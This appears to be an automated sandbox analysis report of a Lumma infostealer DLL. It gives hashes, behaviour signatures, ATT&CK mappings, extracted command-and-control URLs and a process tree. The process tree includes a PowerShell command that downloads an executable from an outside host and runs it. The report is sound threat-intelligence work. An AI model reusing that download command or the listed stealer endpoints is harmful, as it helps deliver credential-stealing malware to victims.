lumma | 43e6a585c64017573bc07fe709222d1b6cb17f01b7391e5b0a3b22be80e9deb6

Analysis

max time kernel
93s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-01-2025 00:03

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General

Target

iviewers.dll
Size

8KB
MD5

da9b36090cd0f8766f2127bc5c318389
SHA1

972f6a885512db3c5ae4330be4e81519d8e7884d
SHA256

b6edb1c17bbdafa08c1b97f0e0880f036937d5453c3dc06c7c24e34abe36f828
SHA512

702213d3d2955e58dc02468288891d29f69213b75fdb5f9aba27daf618bf1b8a3ff5ad96283945ead868d4f837641ea52273430207080e781221ee2294a728f6
SSDEEP

96:UXVV9kybtLHUkbpGDrA791djz3Jn6b7g303PRPFJygFE1H/8R:okybtLHuvG9vjz3J29RTygFE1H/u

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

https://cloudewahsj.shop/api

https://rabidcowse.shop/api

https://noisycuttej.shop/api

https://tirepublicerj.shop/api

https://framekgirus.shop/api

https://wholersorie.shop/api

https://abruptyopsn.shop/api

https://nearycrepso.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	2732	powershell.exe
17	2732	powershell.exe
18	2732	powershell.exe

Downloads MZ/PE file

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral9/files/0x000b000000023b86-31.dat	net_reactor
behavioral9/memory/700-35-0x0000000000980000-0x00000000009E2000-memory.dmp	net_reactor

Executes dropped EXE 2 IoCs

pid	Process
700	5x5xxyze.kr2.exe
2640	5x5xxyze.kr2.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 700 set thread context of 2640	700	5x5xxyze.kr2.exe	87

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2732	powershell.exe

Program crash 1 IoCs

pid	pid_target	Process
3492	700	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5x5xxyze.kr2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5x5xxyze.kr2.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2732	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 4264	1080	regsvr32.exe	82
PID 1080 wrote to memory of 4264	1080	regsvr32.exe	82
PID 1080 wrote to memory of 4264	1080	regsvr32.exe	82
PID 4264 wrote to memory of 2732	4264	regsvr32.exe	83
PID 4264 wrote to memory of 2732	4264	regsvr32.exe	83
PID 4264 wrote to memory of 2732	4264	regsvr32.exe	83
PID 4264 wrote to memory of 700	4264	regsvr32.exe	85
PID 4264 wrote to memory of 700	4264	regsvr32.exe	85
PID 4264 wrote to memory of 700	4264	regsvr32.exe	85
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87
PID 700 wrote to memory of 2640	700	5x5xxyze.kr2.exe	87

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'https://moolaplace.com/arnireq.exe' -OutFile 'C:\Windows\Temp\5x5xxyze.kr2.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732
- - C:\Windows\Temp\5x5xxyze.kr2.exe
    "C:\Windows\Temp\5x5xxyze.kr2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:700
  - - C:\Windows\Temp\5x5xxyze.kr2.exe
      "C:\Windows\Temp\5x5xxyze.kr2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2640
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 700 -s 796
      4⤵
      Program crash
      PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 700 -ip 700
1⤵
PID:2028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ofatx2be.oze.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\5x5xxyze.kr2.exe

Filesize
358KB

MD5
e195a398efc6cf3b170399418eede5dc

SHA1
b2a5786515b12d60c8035c8129123eccb9324d12

SHA256
7b8b7aa7fa8fc7a79ca28976893b21f9c8760fad2bb0bbffa10f97101431e19b

SHA512
5f24fb8836ce26cb8aacac32b1a16e9ae5cd2ab4a11b4aa6b54e38df697d51045cff962193b47d628ab3abdd2057952d8edb96946cf1349890df36774e3c9210

Download Submit
memory/700-36-0x0000000005740000-0x0000000005CE4000-memory.dmp

Filesize
5.6MB

Download
memory/700-35-0x0000000000980000-0x00000000009E2000-memory.dmp

Filesize
392KB

Download
memory/2640-38-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/2640-40-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/2732-20-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/2732-23-0x0000000005D30000-0x0000000005D7C000-memory.dmp

Filesize
304KB

Download
memory/2732-8-0x0000000004E40000-0x0000000004E62000-memory.dmp

Filesize
136KB

Download
memory/2732-9-0x0000000005550000-0x00000000055B6000-memory.dmp

Filesize
408KB

Download
memory/2732-10-0x00000000056B0000-0x0000000005716000-memory.dmp

Filesize
408KB

Download
memory/2732-6-0x0000000004EB0000-0x00000000054D8000-memory.dmp

Filesize
6.2MB

Download
memory/2732-4-0x0000000004720000-0x0000000004756000-memory.dmp

Filesize
216KB

Download
memory/2732-21-0x0000000005820000-0x0000000005B74000-memory.dmp

Filesize
3.3MB

Download
memory/2732-22-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

Filesize
120KB

Download
memory/2732-7-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/2732-25-0x00000000061F0000-0x000000000620A000-memory.dmp

Filesize
104KB

Download
memory/2732-24-0x0000000007530000-0x0000000007BAA000-memory.dmp

Filesize
6.5MB

Download
memory/2732-29-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/2732-5-0x0000000074AE0000-0x0000000075290000-memory.dmp

Filesize
7.7MB

Download
memory/4264-0-0x0000000002AB0000-0x0000000002AC0000-memory.dmp

Filesize
64KB

Download
memory/4264-2-0x0000000002650000-0x000000000265A000-memory.dmp

Filesize
40KB

Download
memory/4264-3-0x0000000075390000-0x000000007539A000-memory.dmp

Filesize
40KB

Download
memory/4264-1-0x0000000074AEE000-0x0000000074AEF000-memory.dmp

Filesize
4KB

Download
memory/4264-30-0x0000000002AB0000-0x0000000002AC0000-memory.dmp

Filesize
64KB

Download